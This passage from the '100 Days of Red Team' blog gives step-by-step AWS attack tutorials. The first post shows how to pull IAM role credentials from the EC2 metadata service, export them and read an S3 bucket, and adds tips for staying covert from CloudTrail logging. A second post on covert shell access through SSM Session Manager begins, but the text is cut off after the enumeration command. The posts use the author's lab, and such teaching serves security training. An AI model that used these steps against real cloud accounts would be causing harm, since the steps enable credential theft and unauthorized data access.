data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:61,&quot;width&quot;:677,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12587,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KqC6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 424w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 848w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 1272w, https://substackcdn.com/image/fetch/$s_!KqC6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b0aa181-fd4a-4eef-bfb8-6e986f7f606a_677x61.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Confirming the IAM role name</figcaption></figure></div><h4>Step 3: Retrieve Temporary AWS Credentials for the Role</h4><pre><code>curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_s3_read_role_7099aae9</code></pre><p>What&#8217;s Happening:</p><ul><li><p>This fetches the temporary security credentials associated with the IAM role.</p></li><li><p>The credentials include:</p><ul><li><p><code>AccessKeyId</code></p></li><li><p><code>SecretAccessKey</code></p></li><li><p><code>Token</code> (session token)</p></li><li><p><code>Expiration</code> timestamp</p></li></ul></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-NvC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-NvC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 424w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 848w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 1272w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-NvC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png" width="872" height="320" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:320,&quot;width&quot;:872,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:160216,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-NvC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 424w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 848w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 1272w, https://substackcdn.com/image/fetch/$s_!-NvC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6715e9d7-5392-4d99-ae82-59b9eec43605_872x320.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Retrieving temporary credentials via Metadata API</figcaption></figure></div><h4>Step 4: Use the Credentials Locally</h4><p>Depending on the environment, we will need to export these credentials to shell so that the AWS CLI or SDK can use them.</p><p>On macOS/Linux (bash/zsh):</p><pre><code>export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."</code></pre><p>On Windows PowerShell:</p><pre><code>$env:AWS_ACCESS_KEY_ID = "ASIA..."
$env:AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI..."
$env:AWS_SESSION_TOKEN = "IQoJb3JpZ2luX2Vj..."</code></pre><p>On Windows Command Prompt (<code>cmd.exe</code>)</p><pre><code>set AWS_ACCESS_KEY_ID=ASIA...
set AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
set AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...</code></pre><h4>Step 5: Infer Permissions Associated with the IAM Role</h4><p>After extracting the credentials from the metadata service, we can try to interact with common AWS services &#8212; like S3 &#8212; to determine what actions are permitted.</p><pre><code>aws s3 ls</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Aeuv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Aeuv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 424w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 848w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 1272w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Aeuv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png" width="982" height="47" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:47,&quot;width&quot;:982,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7952,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Aeuv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 424w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 848w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 1272w, https://substackcdn.com/image/fetch/$s_!Aeuv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a84c611-0aa9-448d-96fe-7c760551fb04_982x47.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Verifying the scope access of the obtained credentials</figcaption></figure></div><h4>Step 6: Accessing the S3 Bucket</h4><p>Next, lets attempt to list contents of the bucket <code>my-redteam-lab-bucket-7099aae9:</code></p><pre><code>aws s3 ls s3://my-redteam-lab-bucket-7099aae9/</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!22zW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!22zW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 424w, https://substackcdn.com/image/fetch/$s_!22zW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 848w, https://substackcdn.com/image/fetch/$s_!22zW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 1272w, https://substackcdn.com/image/fetch/$s_!22zW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!22zW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png" width="1090" height="46" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:46,&quot;width&quot;:1090,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8824,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!22zW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 424w, https://substackcdn.com/image/fetch/$s_!22zW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 848w, https://substackcdn.com/image/fetch/$s_!22zW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 1272w, https://substackcdn.com/image/fetch/$s_!22zW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93558ba4-60ef-4a40-8c0e-138d5fe28c6d_1090x46.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Lisiting the S3 bucket by using temporary credentials</figcaption></figure></div><p>Download the file from the bucket:</p><pre><code>aws s3 cp s3://my-redteam-lab-bucket-7099aae9/secret.txt .</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sTBm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sTBm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 424w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 848w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 1272w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sTBm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png" width="1097" height="78" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:78,&quot;width&quot;:1097,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:16399,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164939495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sTBm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 424w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 848w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 1272w, https://substackcdn.com/image/fetch/$s_!sTBm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c5219db-d7aa-44aa-a84b-10edde7276ee_1097x78.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Copying files from the S3 bucket locally by using the temporary credentials</figcaption></figure></div><p>What&#8217;s Happening:</p><ul><li><p>These commands interact directly with AWS, impersonating the EC2 instance.</p></li><li><p>If the IAM role is overly permissive or not tightly scoped, you may gain access to resources far beyond the application's original intent.</p></li></ul><h3><strong>Other Use Cases</strong></h3><p>Depending on the permissions assigned to the attached IAM role, this technique can also be used for accessing other secrets, establishing persistence, evasion etc. as mentioned below:</p><ul><li><p>Use credentials to access Secrets Manager or SSM Parameter Store if the role allows.</p></li><li><p>Deploy new infrastructure (like EC2 instances or Lambda functions) to establish persistence.</p></li><li><p>Enumerate IAM roles and permissions for lateral movement.</p></li><li><p>Harvest credentials or tokens for other services.</p></li><li><p>Bypass network or identity boundaries by leveraging assume-role permissions if granted.</p></li></ul><h3>OPSEC considerations and other use cases</h3><p>While this technique is powerful, it can leave behind noisy footprints if not handled carefully. For example,</p><ul><li><p>Fetching credentials via the Metadata API does not generate CloudTrail logs. However, using the credentials with the AWS CLI, SDKs, or APIs does.</p></li><li><p>AWS CloudTrail logs any use of the temporary credentials outside the instance, such as from a remote attacker&#8217;s machine. To stay covert, proxying requests through the EC2 instance is safer.</p></li><li><p>Using tools like <code>aws ec2 describe-instances</code> or <code>aws iam list-users</code> might trigger alerts in environments with good logging and monitoring.</p></li></ul><pre><code><strong>TL;DR
- </strong>AWS EC2 instances expose a Metadata API (169.254.169.254) that can leak temporary credentials if improperly secured.
- A red team operator who gains shell access to an EC2 instance can abuse this API to extract IAM role credentials attached to that instance.
- These credentials can be used to access restricted AWS services like S3, if permitted by the role.
- This technique enables lateral movement, data access, or further privilege escalation within AWS environments.
- OPSEC tip: Metadata access leaves minimal logs, but AWS actions (e.g., S3 reads) may show up in CloudTrail.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><p></p><p></p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Ghost in the cloud: Abusing AWS SSM sessions for covert access]]></title><description><![CDATA[Learn how red teamers can abuse AWS SSM Session Manager to gain shell access to EC2 instances without SSH, public IPs, or open ports and escalate privileges.]]></description><link>https://www.100daysofredteam.com/p/ghost-in-the-cloud-abusing-aws-ssm</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/ghost-in-the-cloud-abusing-aws-ssm</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Sat, 31 May 2025 17:41:27 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/61b0b0af-ff47-4bed-b618-4ac071622f0d_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In cloud-native environments, traditional security perimeters have faded. Remote access, automation, and ephemeral infrastructure dominate the operational model. One powerful AWS service that exemplifies this shift is <a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html">AWS Systems Manager Session Manager</a> &#8212; a feature that allows secure shell access to EC2 instances over the AWS control plane, with no need for open ports, bastion hosts, or SSH keys.</p><p>This tool is beloved by DevOps teams for its ease of use and central management. However, in the hands of a red teamer or a malicious actor, Session Manager becomes a stealthy post-exploitation vector. In this post, I explain how red team operators can abuse AWS SSM Sessions to gain covert, access to EC2 instances without ever touching a key file or opening a TCP port &#8212; all by living off the land.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>What is SSM session abuse?</h4><p>At its core, this technique leverages legitimate AWS Systems Manager capabilities to achieve remote shell access to EC2 instances. Normally, administrators use SSM Session Manager to connect to instances for maintenance, troubleshooting, and automation. It works by routing session traffic through the AWS control plane, meaning the target instance doesn&#8217;t need to expose any inbound ports. The session is encrypted, recorded if configured, and authorized via IAM.</p><p>But from a red team operator's point of view, this setup is a goldmine. If they manage to compromise AWS credentials &#8212; whether via leaked keys, metadata theft, or phishing &#8212; and those credentials have the right permissions, they can start a session to any EC2 instance that&#8217;s online and managed by SSM. No SSH key? No problem. No open ports? Not needed. It&#8217;s as if AWS itself is acting as the reverse proxy to your target &#8212; invisibly bridging the attacker and victim.</p><h4>Why this matters in enterprise environments?</h4><p>The rise of SSM in enterprise settings has been swift. Security-conscious organizations now rely on Session Manager instead of SSH for managing instances. It allows them to shut down public access to port 22, rotate credentials centrally, and log all activity in CloudTrail or CloudWatch &#8212; at least in theory.</p><p>In practice, many enterprises over-permission IAM roles. EC2 instances are often assigned managed instance profiles like <code>AmazonSSMManagedInstanceCore</code>, granting full access to Session Manager. Worse, developers and automation scripts might be assigned credentials that include <code>ssm:*</code> permissions without proper scoping. These lapses are invisible until someone exploits them.</p><p>From a red team perspective, this means that after a successful credential compromise &#8212; for example, by extracting temporary keys from the EC2 metadata service &#8212; there's a good chance those credentials have access to SSM.</p><h4>How to abuse AWS SSM for covert access?</h4><p>To better understand how this works in practice, let&#8217;s walk through an end-to-end example. We will assume the red team operator has already compromised AWS credentials that belong to a role or user with the following permissions:</p><ul><li><p><code>ssm:GetCommandInvocation</code></p></li><li><p><code>ssm:TerminateSession</code></p></li><li><p><code>ssm:StartSession</code></p></li><li><p><code>ssm:SendCommand</code></p></li><li><p><code>ssm:DescribeInstanceInformation</code></p></li><li><p><code>ec2:DescribeInstances</code></p></li></ul><p>The victim EC2 instance must also meet a few criteria:</p><ul><li><p>It&#8217;s running the SSM Agent (installed by default on Amazon Linux 2 and some Ubuntu AMIs).</p></li><li><p>It has an IAM role attached with the necessary SSM permissions.</p></li><li><p>It can communicate with SSM endpoints, typically via outbound internet or VPC endpoints.</p></li></ul><p>You can deploy a practice lab for this using the<a href="https://github.com/100daysofredteam/Terraform/tree/main/Labs/AWS%20SSM%20Covert%20Access"> AWS SSM Covert Access Terraform project available in 100 Days of Red Team GitHub</a>.</p><blockquote><p>You can use <a href="https://github.com/100daysofredteam/Terraform/blob/main/TerraformEC2Access-AWS-IAM-Policy.json">this AWS IAM policy</a> to successfully deploy this project. It contains all necessary permissions.</p></blockquote><p><strong>Step 1: Enumerate Available Instances via SSM</strong></p><p>The first step is to discover which EC2 instances are online and managed by SSM. This can be done using the following AWS CLI command:</p><pre><code>aws ssm describe-instance-information --region us-east-1</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5WHz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8569abb-3534-48fe-af57-543920408a93_1080x391.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 